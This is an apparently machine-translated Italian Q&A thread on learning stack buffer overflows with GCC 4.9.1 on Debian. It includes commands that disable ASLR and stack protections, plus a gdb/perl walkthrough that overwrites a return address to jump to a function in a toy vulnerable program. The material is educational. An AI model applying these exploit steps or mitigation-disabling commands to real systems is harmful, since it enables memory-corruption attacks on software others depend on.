2014-10-08 12 views
7

Attualmente sono interessato a imparare come fare buffer overflow. Ho fatto un bel po 'di montaggio e ho capito come funziona lo stack e come implementare un overflow del buffer in C. Tuttavia, sto attraversando un bel po' di problemi nel tentativo di ottenere GCC 4.9.1 per consentirmi di traboccare un buffer correttamente. Sto eseguendo Debian Jessie.Come testare i buffer overflow su un sistema moderno?

Here è il tutorial che sto tentando di seguire, nella sezione 2.2. Ho copiato/incollato il programma C che fornisce, e sto usando lo stesso script Perl che è, quindi tutto è esattamente lo stesso del suo caso (ad eccezione del sistema, ovviamente).

Questi sono i risultati che sto ottenendo costantemente:

~/projects/buffer-overflow$ ls 
run.pl test.c 
~/projects/buffer-overflow$ sudo su 
[email protected]# echo "0" > /proc/sys/kernel/randomize_va_space 
[email protected]# exit 
exit 
~/projects/buffer-overflow$ gcc -m32 -fno-stack-protector -zexecstack test.c 
~/projects/buffer-overflow$ ./run.pl 
Address of foo = 0x804845b 
Address of bar = 0x80484a4 
My stack looks like: 
(nil) 
0xffffd4a8 
0xf7e58b2f 
0xf7fb3ac0 
0x8048657 
0xffffd494 

[email protected] 
Now the stack looks like: 
0xffffd718 
0xffffd4a8 
0xf7e58b2f 
0xf7fb3ac0 
0x42418657 
0x46454443 
+4

Non capisco lo stretto voto. La domanda mi sembra abbastanza chiara e riguarda sicuramente la programmazione. – NPE

+1

Hai provato a immettere una lunga stringa * prima * cercando con lo script Perl, per verificare che lo stack venga "correttamente" sovrascritto? Ogni versione di gcc introduce nuove ottimizzazioni e contromisure contro questo tipo di trucchi. Potresti provare forse con -O. – LSerni

+1

@NPE. Anch'io sono preoccupato per questo. Sembra una domanda legittima e interessante per me. –

risposta

2

Questo script Perl non è particolarmente utile qui, diversi sistemi utilizzeranno indirizzi diversi, quindi cerchiamo di farlo senza lo script ...

Prima di tutto, conoscere il numero esatto di byte necessari per sovrascrivere il indirizzo di ritorno. Siamo in grado di farlo con GDB e Perl:

(gdb) run `perl -e 'print "A" x 26';` 
Address of foo = 0x804845b 
Address of bar = 0x80484a5 
My stack looks like: 
0xf7fb1000 
0xffffdab8 
0xf7e44476 
0xf7fb1d60 
0x8048647 
0xffffdaa8 

AAAAAAAAAAAAAAAAAAAAAAAAAA 
Now the stack looks like: 
0xffffdcbb 
0xffffdab8 
0xf7e44476 
0xf7fb1d60 
0x41418647 
0x41414141 


Program received signal SIGSEGV, Segmentation fault. 
0x41414141 in ??() 

Come si può vedere, 26 byte sovrascriverà l'EIP, quindi sostituendo gli ultimi quattro caratteri "A" con il nostro indirizzo la funzione bar() (non dimenticare per dirla in formato little endian), dovremmo avere successo:

(gdb) run `perl -e 'print "A" x 22';``perl -e 'print "\xa5\x84\x04\x8"';` 
Address of foo = 0x804845b 
Address of bar = 0x80484a5 
My stack looks like: 
0xf7fb1000 
0xffffdab8 
0xf7e44476 
0xf7fb1d60 
0x8048647 
0xffffdaa8 

AAAAAAAAAAAAAAAAAAAAAA�� 
Now the stack looks like: 
0xffffdcbb 
0xffffdab8 
0xf7e44476 
0xf7fb1d60 
0x41418647 
0x41414141 

Augh! I've been hacked! 

Program received signal SIGSEGV, Segmentation fault. 
0xffffdc06 in ??() 

Come potete vedere, siamo tornati con successo a funzionare bar().

0

proverei neanche -fno-stack-protector-all (aggiungendo -all) e altri -O? opzioni, alcune ottimizzazioni attivano alcuni -fxxx.

Problemi correlati